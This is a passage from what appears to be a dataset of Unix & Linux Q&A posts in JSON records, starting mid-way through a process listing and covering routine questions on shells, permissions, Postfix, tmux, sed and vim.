? 00:00:00 [watchdog/2] root 15 2 0 15:05 ? 00:00:00 [migration/3] root 16 2 0 15:05 ? 00:00:00 [migration/3] root 17 2 0 15:05 ? 00:00:00 [ksoftirqd/3] root 18 2 0 15:05 ? 00:00:00 [watchdog/3] root 19 2 0 15:05 ? 00:00:00 [migration/4] root 20 2 0 15:05 ? 00:00:00 [migration/4] root 21 2 0 15:05 ? 00:00:00 [ksoftirqd/4] root 22 2 0 15:05 ? 00:00:00 [watchdog/4] root 23 2 0 15:05 ? 00:00:00 [migration/5] root 24 2 0 15:05 ? 00:00:00 [migration/5] root 25 2 0 15:05 ? 00:00:00 [ksoftirqd/5] root 26 2 0 15:05 ? 00:00:00 [watchdog/5] root 27 2 0 15:05 ? 00:00:00 [migration/6] root 28 2 0 15:05 ? 00:00:00 [migration/6] root 29 2 0 15:05 ? 00:00:00 [ksoftirqd/6] root 30 2 0 15:05 ? 00:00:00 [watchdog/6] root 31 2 0 15:05 ? 00:00:00 [migration/7] root 32 2 0 15:05 ? 00:00:00 [migration/7] root 33 2 0 15:05 ? 00:00:00 [ksoftirqd/7] root 34 2 0 15:05 ? 00:00:00 [watchdog/7] root 35 2 0 15:05 ? 00:00:00 [events/0] root 36 2 0 15:05 ? 00:00:00 [events/1] root 37 2 0 15:05 ? 00:00:00 [events/2] root 38 2 0 15:05 ? 00:00:00 [events/3] root 39 2 0 15:05 ? 00:00:00 [events/4] root 40 2 0 15:05 ? 00:00:00 [events/5] root 41 2 0 15:05 ? 00:00:00 [events/6] root 42 2 0 15:05 ? 00:00:00 [events/7] root 43 2 0 15:05 ? 00:00:00 [cpuset] root 44 2 0 15:05 ? 00:00:00 [khelper] root 45 2 0 15:05 ? 00:00:00 [netns] root 46 2 0 15:05 ? 00:00:00 [async/mgr] root 47 2 0 15:05 ? 00:00:00 [pm] root 48 2 0 15:05 ? 00:00:00 [xenwatch] root 49 2 0 15:05 ? 00:00:00 [xenbus] root 50 2 0 15:05 ? 00:00:00 [sync_supers] root 51 2 0 15:05 ? 00:00:00 [bdi-default] root 52 2 0 15:05 ? 00:00:00 [kintegrityd/0] root 53 2 0 15:05 ? 00:00:00 [kintegrityd/1] root 54 2 0 15:05 ? 00:00:00 [kintegrityd/2] root 55 2 0 15:05 ? 00:00:00 [kintegrityd/3] root 56 2 0 15:05 ? 00:00:00 [kintegrityd/4] root 57 2 0 15:05 ? 00:00:00 [kintegrityd/5] root 58 2 0 15:05 ? 00:00:00 [kintegrityd/6] root 59 2 0 15:05 ? 00:00:00 [kintegrityd/7] root 60 2 0 15:05 ? 00:00:00 [kblockd/0] root 61 2 0 15:05 ? 00:00:00 [kblockd/1] root 62 2 0 15:05 ? 00:00:00 [kblockd/2] root 63 2 0 15:05 ? 00:00:00 [kblockd/3] root 64 2 0 15:05 ? 00:00:00 [kblockd/4] root 65 2 0 15:05 ? 00:00:00 [kblockd/5] root 66 2 0 15:05 ? 00:00:00 [kblockd/6] root 67 2 0 15:05 ? 00:00:00 [kblockd/7] root 68 2 0 15:05 ? 00:00:00 [ata/0] root 69 2 0 15:05 ? 00:00:00 [ata/1] root 70 2 0 15:05 ? 00:00:00 [ata/2] root 71 2 0 15:05 ? 00:00:00 [ata/3] root 72 2 0 15:05 ? 00:00:00 [ata/4] root 73 2 0 15:05 ? 00:00:00 [ata/5] root 74 2 0 15:05 ? 00:00:00 [ata/6] root 75 2 0 15:05 ? 00:00:00 [ata/7] root 76 2 0 15:05 ? 00:00:00 [ata_aux] root 77 2 0 15:05 ? 00:00:00 [ksuspend_usbd] root 78 2 0 15:05 ? 00:00:00 [khubd] root 79 2 0 15:05 ? 00:00:00 [kseriod] root 80 2 0 15:05 ? 00:00:00 [md/0] root 81 2 0 15:05 ? 00:00:00 [md/1] root 82 2 0 15:05 ? 00:00:00 [md/2] root 83 2 0 15:05 ? 00:00:00 [md/3] root 84 2 0 15:05 ? 00:00:00 [md/4] root 85 2 0 15:05 ? 00:00:00 [md/5] root 86 2 0 15:05 ? 00:00:00 [md/6] root 87 2 0 15:05 ? 00:00:00 [md/7] root 88 2 0 15:05 ? 00:00:00 [md_misc/0] root 89 2 0 15:05 ? 00:00:00 [md_misc/1] root 90 2 0 15:05 ? 00:00:00 [md_misc/2] root 91 2 0 15:05 ? 00:00:00 [md_misc/3] root 92 2 0 15:05 ? 00:00:00 [md_misc/4] root 93 2 0 15:05 ? 00:00:00 [md_misc/5] root 94 2 0 15:05 ? 00:00:00 [md_misc/6] root 95 2 0 15:05 ? 00:00:00 [md_misc/7] root 96 2 0 15:05 ? 00:00:00 [khungtaskd] root 97 2 0 15:05 ? 00:00:00 [kswapd0] root 98 2 0 15:05 ? 00:00:00 [ksmd] root 99 2 0 15:05 ? 00:00:00 [aio/0] root 100 2 0 15:05 ? 00:00:00 [aio/1] root 101 2 0 15:05 ? 00:00:00 [aio/2] root 102 2 0 15:05 ? 00:00:00 [aio/3] root 103 2 0 15:05 ? 00:00:00 [aio/4] root 104 2 0 15:05 ? 00:00:00 [aio/5] root 105 2 0 15:05 ? 00:00:00 [aio/6] root 106 2 0 15:05 ? 00:00:00 [aio/7] root 107 2 0 15:05 ? 00:00:00 [crypto/0] root 108 2 0 15:05 ? 00:00:00 [crypto/1] root 109 2 0 15:05 ? 00:00:00 [crypto/2] root 110 2 0 15:05 ? 00:00:00 [crypto/3] root 111 2 0 15:05 ? 00:00:00 [crypto/4] root 112 2 0 15:05 ? 00:00:00 [crypto/5] root 113 2 0 15:05 ? 00:00:00 [crypto/6] root 114 2 0 15:05 ? 00:00:00 [crypto/7] root 119 2 0 15:05 ? 00:00:00 [kthrotld/0] root 120 2 0 15:05 ? 00:00:00 [kthrotld/1] root 121 2 0 15:05 ? 00:00:00 [kthrotld/2] root 122 2 0 15:05 ? 00:00:00 [kthrotld/3] root 123 2 0 15:05 ? 00:00:00 [kthrotld/4] root 124 2 0 15:05 ? 00:00:00 [kthrotld/5] root 125 2 0 15:05 ? 00:00:00 [kthrotld/6] root 126 2 0 15:05 ? 00:00:00 [kthrotld/7] root 128 2 0 15:05 ? 00:00:00 [khvcd] root 129 2 0 15:05 ? 00:00:00 [kpsmoused] root 130 2 0 15:05 ? 00:00:00 [usbhid_resumer] root 191 1 0 15:05 ? 00:00:00 /bin/plymouthd --attach-to-sessi root 267 2 0 15:05 ? 00:00:00 [kjournald] root 339 1 0 15:05 ? 00:00:00 /sbin/udevd -d root 648 339 0 15:05 ? 00:00:00 /sbin/udevd -d root 651 2 0 15:05 ? 00:00:00 [kstriped] root 694 2 0 15:05 ? 00:00:00 [flush-202:1] root 716 2 0 15:05 ? 00:00:00 [kauditd] root 717 1 0 15:05 ? 00:00:00 /bin/bash /etc/rc.d/rc 3 root 863 1 0 15:05 ? 00:00:00 auditd root 888 1 0 15:05 ? 00:00:00 /sbin/rsyslogd -i /var/run/syslo root 902 1 0 15:05 ? 00:00:00 mdadm --monitor --scan -f --pid- dbus 911 1 0 15:05 ? 00:00:00 dbus-daemon --system root 921 1 0 15:05 ? 00:00:00 NetworkManager --pid-file=/var/r root 925 1 0 15:05 ? 00:00:00 /usr/sbin/modem-manager root 934 1 0 15:05 ? 00:00:00 cupsd -C /etc/cups/cupsd.conf 68 992 1 0 15:05 ? 00:00:00 hald root 993 992 0 15:05 ? 00:00:00 hald-runner root 995 1 0 15:05 ? 00:00:00 /usr/sbin/wpa_supplicant -c /etc root 1040 993 0 15:05 ? 00:00:00 hald-addon-input: Listening on / root 1058 1 0 15:05 ? 00:00:00 /usr/sbin/sshd root 1069 1 0 15:05 ? 00:00:00 /usr/sbin/vsftpd /etc/vsftpd/vsf root 1080 1 0 15:05 ? 00:00:00 guacd -p /var/run/guacd.pid root 1156 1 0 15:05 ? 00:00:00 /usr/libexec/postfix/master postfix 1176 1156 0 15:05 ? 00:00:00 pickup -l -t fifo -u postfix 1177 1156 0 15:05 ? 00:00:00 qmgr -l -t fifo -u tomcat 1224 1 0 15:05 ? 00:00:02 /usr/lib/jvm/jre/bin/java -Djava root 1242 1 0 15:05 ? 00:00:00 crond wesley 1276 1 0 15:05 ? 00:00:01 /usr/bin/Xvnc :1 -desktop vnc.le wesley 1286 1 0 15:06 ? 00:00:00 /usr/bin/ck-xinit-session /usr/b wesley 1290 1286 0 15:06 ? 00:00:00 vncconfig -iconic mark 1313 1 0 15:06 ? 00:00:02 /usr/bin/Xvnc :2 -desktop vnc.le wesley 1320 1 0 15:06 ? 00:00:00 dbus-launch --sh-syntax --exit-w wesley 1321 1 0 15:06 ? 00:00:00 /bin/dbus-daemon --fork --print- root 1327 1 0 15:06 ? 00:00:00 /usr/sbin/console-kit-daemon --n wesley 1395 1286 0 15:06 ? 00:00:00 /usr/bin/gnome-session wesley 1397 1395 0 15:06 ? 00:00:00 /usr/bin/ssh-agent /etc/X11/xini root 1411 1 0 15:06 ? 00:00:00 /usr/libexec/devkit-power-daemon wesley 1416 1 0 15:06 ? 00:00:00 /usr/libexec/gconfd-2 mark 1434 1 0 15:06 ? 00:00:00 /usr/bin/ck-xinit-session /usr/b mark 1435 1434 0 15:06 ? 00:00:00 vncconfig -iconic mark 1450 1 0 15:06 ? 00:00:00 dbus-launch --sh-syntax --exit-w mark 1454 1 0 15:06 ? 00:00:00 /bin/dbus-daemon --fork --print- sylvia 1472 1 0 15:06 ? 00:00:01 /usr/bin/Xvnc :3 -desktop vnc.le mark 1477 1434 0 15:06 ? 00:00:00 /usr/bin/gnome-session mark 1478 1477 0 15:06 ? 00:00:00 /usr/bin/ssh-agent /etc/X11/xini mark 1489 1 0 15:06 ? 00:00:00 /usr/libexec/gconfd-2 wesley 1491 1 0 15:06 ? 00:00:00 gnome-keyring-daemon --start wesley 1494 1 0 15:06 ? 00:00:00 /usr/libexec/gnome-settings-daem mark 1500 1 0 15:06 ? 00:00:00 gnome-keyring-daemon --start mark 1503 1 0 15:06 ? 00:00:00 /usr/libexec/gnome-settings-daem mark 1511 1 0 15:06 ? 00:00:00 /usr/libexec/gvfsd wesley 1513 1 0 15:06 ? 00:00:00 /usr/libexec/gvfsd mark 1530 1477 0 15:06 ? 00:00:00 metacity wesley 1531 1395 0 15:06 ? 00:00:00 metacity sylvia 1535 1 0 15:06 ? 00:00:00 /usr/bin/ck-xinit-session /usr/b sylvia 1536 1535 0 15:06 ? 00:00:00 vncconfig -iconic sylvia 1552 1 0 15:06 ? 00:00:00 dbus-launch --sh-syntax --exit-w sylvia 1555 1 0 15:06 ? 00:00:00 /bin/dbus-daemon --fork --print- sylvia 1569 1535 0 15:06 ? 00:00:00 /usr/bin/gnome-session sylvia 1570 1569 0 15:06 ? 00:00:00 /usr/bin/ssh-agent /etc/X11/xini naomi 1583 1 0 15:06 ? 00:00:01 /usr/bin/Xvnc :4 -desktop vnc.le sylvia 1585 1 0 15:06 ? 00:00:00 /usr/libexec/gconfd-2 sylvia 1594 1 0 15:06 ? 00:00:00 gnome-keyring-daemon --start sylvia 1597 1 0 15:06 ? 00:00:00 /usr/libexec/gnome-settings-daem mark 1600 1477 0 15:06 ? 00:00:00 gnome-panel wesley 1601 1395 0 15:06 ? 00:00:00 gnome-panel sylvia 1604 1 0 15:06 ? 00:00:00 /usr/libexec/gvfsd wesley 1612 1 0 15:06 ? 00:00:00 /usr/bin/pulseaudio --start --lo mark 1613 1 0 15:06 ? 00:00:00 /usr/bin/pulseaudio --start --lo rtkit 1615 1 0 15:06 ? 00:00:00 /usr/libexec/rtkit-daemon sylvia 1616 1569 0 15:06 ? 00:00:00 metacity root 1621 1 0 15:06 ? 00:00:00 /usr/libexec/polkit-1/polkitd sylvia 1622 1569 0 15:06 ? 00:00:00 gnome-panel sylvia 1625 1 0 15:06 ? 00:00:00 /usr/bin/pulseaudio --start --lo wesley 1626 1612 0 15:06 ? 00:00:00 /usr/libexec/pulse/gconf-helper mark 1627 1613 0 15:06 ? 00:00:00 /usr/libexec/pulse/gconf-helper sylvia 1628 1625 0 15:06 ? 00:00:00 /usr/libexec/pulse/gconf-helper mark 1631 1477 0 15:06 ? 00:00:00 nautilus mark 1633 1 0 15:06 ? 00:00:00 /usr/libexec/bonobo-activation-s wesley 1634 1395 0 15:06 ? 00:00:00 nautilus wesley 1636 1 0 15:06 ? 00:00:00 /usr/libexec/bonobo-activation-s sylvia 1640 1569 0 15:06 ? 00:00:01 nautilus sylvia 1642 1 0 15:06 ? 00:00:00 /usr/libexec/bonobo-activation-s mark 1655 1 0 15:06 ? 00:00:00 /usr/libexec/wnck-applet --oaf-a sylvia 1658 1 0 15:06 ? 00:00:00 /usr/libexec/wnck-applet --oaf-a sylvia 1661 1 0 15:06 ? 00:00:00 /usr/libexec/trashapplet --oaf-a wesley 1662 1 0 15:06 ? 00:00:00 /usr/libexec/wnck-applet --oaf-a sylvia 1666 1 0 15:06 ? 00:00:00 /usr/libexec/gvfs-gdu-volume-mon wesley 1667 1 0 15:06 ? 00:00:00 /usr/libexec/gvfs-gdu-volume-mon wesley 1668 1 0 15:06 ? 00:00:00 /usr/libexec/trashapplet --oaf-a mark 1669 1 0 15:06 ? 00:00:00 /usr/libexec/trashapplet --oaf-a mark 1671 1 0 15:06 ? 00:00:00 /usr/libexec/gvfs-gdu-volume-mon root 1673 1 0 15:06 ? 00:00:00 /usr/libexec/udisks-daemon mark 1684 1 0 15:06 ? 00:00:00 /usr/libexec/gvfsd-trash --spawn wesley 1686 1 0 15:06 ? 00:00:00 /usr/libexec/gvfsd-trash --spawn sylvia 1688 1 0 15:06 ? 00:00:00 /usr/libexec/gvfsd-trash --spawn root 1689 1673 0 15:06 ? 00:00:00 udisks-daemon: not polling any d sylvia 1693 1569 0 15:06 ? 00:00:00 gpk-update-icon mark 1694 1477 0 15:06 ? 00:00:00 gpk-update-icon wesley 1695 1395 0 15:06 ? 00:00:00 gpk-update-icon mark 1705 1477 0 15:06 ? 00:00:00 /usr/libexec/polkit-gnome-authen sylvia 1706 1569 0 15:06 ? 00:00:00 /usr/libexec/polkit-gnome-authen wesley 1707 1395 0 15:06 ? 00:00:00 /usr/libexec/polkit-gnome-authen wesley 1714 1395 0 15:06 ? 00:00:00 xdg-user-dirs-gtk-update wesley 1717 1395 0 15:06 ? 00:00:00 gnome-power-manager sylvia 1720 1569 0 15:06 ? 00:00:00 xdg-user-dirs-gtk-update sylvia 1721 1569 0 15:06 ? 00:00:00 gnome-power-manager mark 1725 1477 0 15:06 ? 00:00:00 gnome-power-manager wesley 1734 1395 0 15:06 ? 00:00:00 gnome-volume-control-applet sylvia 1735 1569 0 15:06 ? 00:00:00 gnome-volume-control-applet mark 1737 1477 0 15:06 ? 00:00:00 gnome-volume-control-applet sylvia 1768 1 0 15:06 ? 00:00:00 gnome-screensaver wesley 1769 1 0 15:06 ? 00:00:00 gnome-screensaver naomi 1773 1 0 15:06 ? 00:00:00 /usr/bin/ck-xinit-session /usr/b naomi 1775 1773 0 15:06 ? 00:00:00 vncconfig -iconic naomi 1787 1 0 15:06 ? 00:00:00 dbus-launch --sh-syntax --exit-w naomi 1792 1 0 15:06 ? 00:00:00 /bin/dbus-daemon --fork --print- mark 1804 1 0 15:06 ? 00:00:00 gnome-screensaver naomi 1807 1773 0 15:06 ? 00:00:00 /usr/bin/gnome-session naomi 1808 1807 0 15:06 ? 00:00:00 /usr/bin/ssh-agent /etc/X11/xini root 1814 1 0 15:06 ? 00:00:00 /usr/sbin/atd root 1819 717 0 15:06 ? 00:00:00 /bin/bash /etc/rc3.d/S99firstboo naomi 1823 1 0 15:06 ? 00:00:00 /usr/libexec/gconfd-2 root 1827 1819 0 15:06 ? 00:00:00 /usr/bin/python2 /usr/sbin/first mark 1831 1 0 15:06 ? 00:00:00 /usr/libexec/gdm-user-switch-app mark 1833 1 0 15:06 ? 00:00:00 /usr/libexec/clock-applet --oaf- mark 1835 1 0 15:06 ? 00:00:00 /usr/libexec/notification-area-a sylvia 1841 1 0 15:06 ? 00:00:00 /usr/libexec/gdm-user-switch-app sylvia 1843 1 0 15:06 ? 00:00:00 /usr/libexec/notification-area-a sylvia 1846 1 0 15:06 ? 00:00:00 /usr/libexec/clock-applet --oaf- wesley 1850 1 0 15:06 ? 00:00:00 /usr/libexec/gdm-user-switch-app wesley 1852 1 0 15:06 ? 00:00:00 /usr/libexec/clock-applet --oaf- wesley 1854 1 0 15:06 ? 00:00:00 /usr/libexec/notification-area-a naomi 1864 1 0 15:06 ? 00:00:00 gnome-keyring-daemon --start naomi 1867 1 0 15:06 ? 00:00:00 /usr/libexec/gnome-settings-daem naomi 1873 1 0 15:06 ? 00:00:00 /usr/libexec/gvfsd naomi 1879 1807 0 15:06 ? 00:00:00 metacity naomi 1881 1807 0 15:06 ? 00:00:00 gnome-panel naomi 1896 1 0 15:06 ? 00:00:00 /usr/bin/pulseaudio --start --lo naomi 1901 1807 0 15:06 ? 00:00:00 nautilus naomi 1904 1 0 15:06 ? 00:00:00 /usr/libexec/bonobo-activation-s naomi 1907 1807 0 15:06 ? 00:00:00 gpk-update-icon naomi 1910 1807 0 15:06 ? 00:00:00 /usr/libexec/polkit-gnome-authen naomi 1917 1 0 15:06 ? 00:00:00 /usr/libexec/wnck-applet --oaf-a naomi 1920 1 0 15:06 ? 00:00:00 /usr/libexec/trashapplet --oaf-a naomi 1921 1807 0 15:06 ? 00:00:00 xdg-user-dirs-gtk-update naomi 1922 1807 0 15:06 ? 00:00:00 gnome-power-manager naomi 1927 1807 0 15:06 ? 00:00:00 gnome-volume-control-applet naomi 1933 1 0 15:06 ? 00:00:00 /usr/libexec/gvfs-gdu-volume-mon naomi 1934 1896 0 15:06 ? 00:00:00 /usr/libexec/pulse/gconf-helper naomi 1945 1 0 15:06 ? 00:00:00 /usr/libexec/gvfsd-trash --spawn naomi 1952 1 0 15:06 ? 00:00:00 gnome-screensaver naomi 1958 1 0 15:06 ? 00:00:00 /usr/libexec/clock-applet --oaf- naomi 1959 1 0 15:06 ? 00:00:00 /usr/libexec/gdm-user-switch-app naomi 1961 1 0 15:06 ? 00:00:00 /usr/libexec/notification-area-a mark 1972 1 0 15:06 ? 00:00:00 /usr/libexec/gvfsd-metadata wesley 1983 1 0 15:06 ? 00:00:00 /usr/libexec/gvfsd-metadata sylvia 1993 1 0 15:06 ? 00:00:00 /usr/libexec/gvfsd-metadata root 2003 1827 0 15:06 ? 00:00:00 setup root 2040 1706 0 15:20 ? 00:00:00 /usr/libexec/polkit-1/polkit-age root 2041 1910 0 15:20 ? 00:00:00 /usr/libexec/polkit-1/polkit-age root 2044 1705 0 15:20 ? 00:00:00 /usr/libexec/polkit-1/polkit-age root 2062 1058 0 15:37 ? 00:00:00 sshd: root@pts/0 root 2068 2062 0 15:37 pts/0 00:00:00 -bash root 2086 2068 0 15:39 pts/0 00:00:00 ps -eaf"} {"_id": "10926", "title": "Changing group and retaining environment variables", "text": "On campus, everyone's primary group is `user` and each person is additionally associated to groups depending on the courses he or she is taking, lab he or she works at, etc. My coworker and I are members of group `foo`, so we use `newgrp foo` and `umask 7` to ensure our files are accessible to the two of us without granting _everyone_ permission. Neither of us minded this. However, we now need our `PATH` environment variable to first point to our lab's `bin` folder before the rest in the `PATH`. We thought a simple script would work, but it doesn't as the `PATH`'s contents don't persist after executing `newgrp`: #!/bin/tcsh setenv PATH \"/path/to/lab/bin:$PATH\" newgrp foo The default shell is `tcsh`. Does anyone have any suggestions? Thanks!"} {"_id": "124040", "title": "how to determine the max user process value?", "text": "Which value is correct?(or they are all correct, but which one will take effect?) $ cat /proc/sys/kernel/pid_max 32768 $ ulimit -a |grep processes max user processes (-u) 77301 $ cat /proc/1/limits |grep processes Max processes 77301 77301 p"} {"_id": "80858", "title": "Linux mail client that can trigger a PHP script to parse email received", "text": "Is there any simple text-based mail client that I could use that could trigger a PHP script to parse mails received from the users? I have a PHP application that sends email out to users and it would be nice if the application can parse the reply from users and store them into the database. I'm using Centos 6 with Postfix and PHP sends email out using PHPMailer. No X Window System installed."} {"_id": "80859", "title": "Create app that launches a local app in Joli OS", "text": "Recently (I mean, for the last 30 minutes) I have been playing with Joli OS. I spent quite a bit of time trying to figure out how local apps are launched within the web browser. After figuring out that it uses websockets and finding the JS function (`jolios.system.apps.launch(\"command-goes-here\")`), I tried to create an \"app\" (using the button in the app store) that launches Nautilus. Entering the URL `javascript:jolios.system.apps.launch(\"nautilus ~\")` doesn't work. Is there another way to do this?"} {"_id": "80851", "title": "How do I run a command on multiple files", "text": "This is pretty basic, I have a folder with several subfolders of JS files and i want to run Google's Clojure compiler on all of the files in those folders. The command to process a single file is as follows: java -jar compiler.jar --js filename.js --js_output_file newfilename.js How do I modify this to run on every JS file in my directory structure?"} {"_id": "80857", "title": "My process was killed but I cannot understand the kernel notice", "text": "I have a custom application running on an embedded x86 setup (built using buildroot and uClibc). The application has been running fine but this morning when I returned to work I discovered my process had been killed and the following output on my terminal SAK: killed process 1008 (CX_SC3): fd#4 opened to the tty SAK: killed process 1009 (CX_SC3): fd#4 opened to the tty SAK: killed process 1011 (CX_SC3): fd#4 opened to the tty SAK: killed process 1012 (CX_SC3): fd#4 opened to the tty Now `CX_SC3` is my process - it has multiple threads, one of which opens `/dev/ttyS0` to send messages over a radio modem. The fd number is 4 for the serial port. What I don't understand is 1. What the SAK means 2. The PID listed above must refer to a process that was killed by my application as there is only ever one instance of my application running at a time. Is it possible that these PIDs are actually my thread IDs (as my application does run 4 threads always). 3. If my application killed other processes, why was my application also killed? 4. What does the `opened to the tty` part mean? From some research this suggests that this has something to do with a interrupt character sent to the tty that I used to start the program. I am sure that the above is pretty obvious when you are a linux guru but I am struggling - can anyone suggest what events could have lead to the following output? My embedded setup is very small, uses `busybox` and runs `vsftpd` and very little else other than my custom application. It is vital that my application is robust so if anyone can suggest/guess as to what sequence of events could have caused the above I will be very grateful. **EDIT:** In response to the comment below, if this is due to a SAK being detected, is there anything that can accidentally trigger this? Is it possible that anything being read on the serial port has triggered this? Also, how can I find the SAK combination for my system - I do not have a `rc.sysinit` or `rc.local` file anywhere in my root file system. **UPDATE:** I have managed to pin this event down to the point at which my host machine shuts down. I have a serial cable between my host machine and my target device which I use to send serial data to the embedded target. When I leave the target running, but shutdown the host, my application is killed as described above. When I disconnect the serial cable prior to shutting down my host machine then my application does not get killed and runs as normal. This behaviour happens even after I have performed echo 0 > /proc/sys/kernel/sysrq as advised."} {"_id": "96753", "title": "Could Autorun Virus, affect my PC via Wine?", "text": "I have installed wine and I am afraid that viruses will affect my PC now. I will not open any other .exe file other than mine one (which I use everyday)"} {"_id": "1726", "title": "alternatives to wine", "text": "Is there some alternative to **Wine** ( the windows \"emulator\" ) which is more stable and more likely to work with my Windows games?"} {"_id": "5244", "title": "How to setup a \"data\" partition shared by multiple Linux OS'es?", "text": "Currently I have a NTFS partition that contains shared data. My rationale is, NTFS doesn't have any idea about file permissions, so I won't have any trouble using them in a multi-boot system (currently I have Gentoo and Ubuntu, and the data partition is auto-mounted on both). Now I want to get rid of the NTFS thing, if possible. So the question is, how can I use something like `ext4` and setup the same thing? **Update** : Sorry I should have made it clear that I only have Linux distributions, so no problem with `ext4`. I just want to have a partition that contains world-readable files and is automounted at boot."} {"_id": "1725", "title": "How do I find where a port is?", "text": "If I want to find out which directory under /usr/ports contains a port like \"gnome-terminal\", how can I do that? Is there an easy command? At the moment I use things like > echo */gnome-terminal but is there a website or guide which tells you this without having to use a trick?"} {"_id": "49735", "title": "Convert a tab-delimited file to use newlines", "text": "input.txt (around 30K lines) RT|367079254|bn|ERTS01065811.1| 38 1 503 RT|367079251|bn|ERTS01065814.1| 56 3 502 RT|367079248|bn|ERTS01065817.1| 52 2 502 output.txt RT|367079254|bn|ERTS01065811.1| 38 1 503 RT|367079251|bn|ERTS01065814.1| 56 3 502 RT|367079248|bn|ERTS01065817.1| 52 2 502"} {"_id": "138325", "title": "mutt: how to display selected new messages diferently in index", "text": "I have my own colors defined for `mutt`. When I start `mutt`, the cursor (i.e. indicator) is on the first message (i.e. the first message on the top is selected). I have defined colors for the selected message, and I have colors defined for new messages as well: ... color indicator color233 color67 color index color75 color232 ~N .... Unfortunately, The selected message looks the same, regardless whether the message is new or not. Is there a way to have a different color for selected new messages, so that I can immediately recognize that the selected message is new? Otherwise I have to move the cursor down, to see that the message is new. I have tried the obvious solution: color indicator color233 color67 ~N but that does not work. Mutt complains: Error in .muttrc, line 15: too many arguments"} {"_id": "138323", "title": "How to tell \"cat\" command to not hang on when there is no path provided?", "text": "I am simply trying to get a bash script to return the content of a text file. #!/bin/bash cat $1 the problem is.. when the path to a file is not fed to this bash script... how will it even close itself. because via regular command line... if there is no file path being fed to the cat command.. it does not hang up. almost as if it is waiting for something.."} {"_id": "40268", "title": "Batch copy to multiple directories", "text": "I have about 9000 files in a directory and I want to mv them into 90 files in 100 directories by filename order, ignoring any remainder. In Copy multiple files from filename X to filename Y?, Caleb wrote in a comment: > If the object is just to batch them, there is a MUCH easier way! `ls | xargs > -iX -n20 cp X target_folder/` would run cp on files in batches of 20 until > they were all done. So based off of using xargs, how could I switch the target_folder to create a new folder and loop the command 100 times?"} {"_id": "40261", "title": "Debian: program in boot", "text": "I just configured my new VPS with Apache, PHP, MySQL and ProFTPd. I wanted to install a smtp server, but I was advised to do a apt-get upgrade first. I did this, and I got up a blue screen where I could choose between two alternatives. It said something about GRUB 2 installer. I chose the alternative that was already selected, the topmost. I chose not to update the GRUB2, and use the old one that was installed. Now, ProFTPd doesn't start in boot anymore. I have to /etc/init.d/proftpd start every time. How do I fix this? Should I have chosen to update GRUB2? Should I do apt-get upgrade again and try to do the same GRUB2 installer again?"} {"_id": "40260", "title": "Changing IP address of Apache server using PHP statically", "text": "I want to statically assign the IP address of my Arch linux using php. I want to change the IP by using netmask,interface,broadcast,address & gateway. The user puts up the values into a html page. The html page posts the data to the PHP page. I want to change the ip using this data. ho to do this?? please help me on this. Can Files be used? I was thinking of writing directly into the rc.conf using files!!...will this work and how??.. I have my arch linux up with apache & php..any of the help is appreciate."} {"_id": "40262", "title": "copying multiple files to multiple directories", "text": "I've a problem copying many files in different directories. Let me explain better: Let's say I have the following in a dir: $ ls file1 file2 file3 file4 file5 dir1 dir2 dir3 and I want to copy every file* in every dir* with a single command. I've tried with: echo dir{1..3} | xargs cp file{1..5} '{}' \\; My intent was to tell xargs to process every single dir* from echo and copy all the files in the input processed but this and similar didn't work. I would like to avoid the use of a script because it's a task I have to repeat for about 20 directories and the names of the files are slightly different so I'd prefer modifying a command rather than a script."} {"_id": "125796", "title": "Block physical console access", "text": "I'd like to block physical console access to my linux. I'd like to find, which module is responsible for keyboard input (ps/2, usb, ...) and vga output (only physical), so I can remove them from my kernel (recompile) and then only have access through serial or through ssh."} {"_id": "14303", "title": "Bash CD up until in certain folder", "text": "I do a lot of work in Magento, and so do a lot of the people I work with, and it gets annoying to have to type: cd ../../../../../../ To only find you're still a few directories from your root 'httpdocs' folder, so I'm trying to make a script that follows this pseudo-code: while lowest level directory != httpdocs cd ../ end while; Seems pretty simple, I'm assuming I would have to do some form of grep on checking if the last part of the current working directory is httpdocs, if not just keep going up a level until it's true. I've been looking at learning bash for this, though it seems like there has to be something out there already that's similar, and the syntax puzzles me to no end."} {"_id": "14302", "title": "postfix default alias used even when I have other aliases", "text": "I tried adding a rule to /etc/aliases which would send a message to /dev/null if it was sent to a particular alias: fooname: /dev/null I have postfix set up with a default address for a particular domain in my /etc/postfix/virtual file: @mydomain.com realuser I have multiple domains mapped to this server. I've found that if I send a message to \"fooname@mydomain.com, realuser@mydomain.com, fooname@otherdomain.com, realuser@otherdomain.com\" I will receive the first, second, and fourth messages, but I won't receive the third. The upshot is that entries in /etc/aliases don't seem to short circuit the email sending. How do I send messages for particular aliases to /dev/null while still keeping the default alias?"} {"_id": "14300", "title": "Moving tmux window to pane", "text": "How do I move an existing window into a pane in another window in **tmux** when I have multiple windows, and vice versa? I'm coming from **screen** , where I can switch to the pane and then switch windows until I get to the one I want; **tmux** does not seem to allow this."} {"_id": "14308", "title": "Which Grub to use for a custom portable boot image?", "text": "I would like to make a bootable USB/Floopy/LiveCD with linux kernel and Grub. After booting to that USB/Floopy/LiveCD using VirtualBox or directly, it will show my own customized Grub screen and then it will execute my C or Pascal application. I was trying to download grub but I am not sure which one I should use. Is there any issue to download the correct version of Grub such as for 32-Bit or 64-Bit downloads are different? Which Grub should I download to get started with my own customized bootable image?"} {"_id": "10226", "title": "Multiline pattern match using sed, awk or grep", "text": "Is it possible to do a multiline pattern match using `sed`, `awk` or `grep`? Take for example, I would like to get all the lines between `{` and `}` So it should be able to match 1. {} 2. {.....} 3. {..... .....} Initially the question used `

` as an example. Edited the question to use `{` and`}`."} {"_id": "93875", "title": "Setting up server to share music with tv", "text": "Can someone please point me in the right direction? Hopefully first by letting me know if this is possible... I recently purchased a home theater system which you plug via hdmi into the tv. It has its own nice gui with netflix, and youtube, and blah blah blah. One of the options was to \"browse your computer.\" When you click on it it tries to connect to a server to find music/videos. Can I use my Ubuntu installed laptop to host a server to put music on and play it wirelessly essentially? I believe this is possible and should be pretty straight forward. How would I go about creating a server on the same laptop I would be interacting with it...I could then secure copy or sftp the files back and forth. Is there like special settings to keep in mind? Any words of wisdom would be appreciated. Tx C"} {"_id": "45964", "title": "Scripting htdigest -c /path/to/file/$user $user $password in Bash", "text": "I want to be able to script with a password in variable $password. htdigest -c /etc/apache2/pw/$user $user $password At the moment it asks me to manually enter a password, this is not going to be possible since it will be an automated setup by a PHP script. Could someone please show me how to script this? Or an equivalent scriptable function?"} {"_id": "45961", "title": "Switching between split buffers in vim", "text": "recently starting trying to use VIM as my full-time text editor since I spent a lot of time SSH'ed anyways. Recently installed NERDTree so I can quickly swap between files in a project. Easy question that I can't seem to find on Google (perhaps not using the right terminology) - how do I easily switch focus between the two 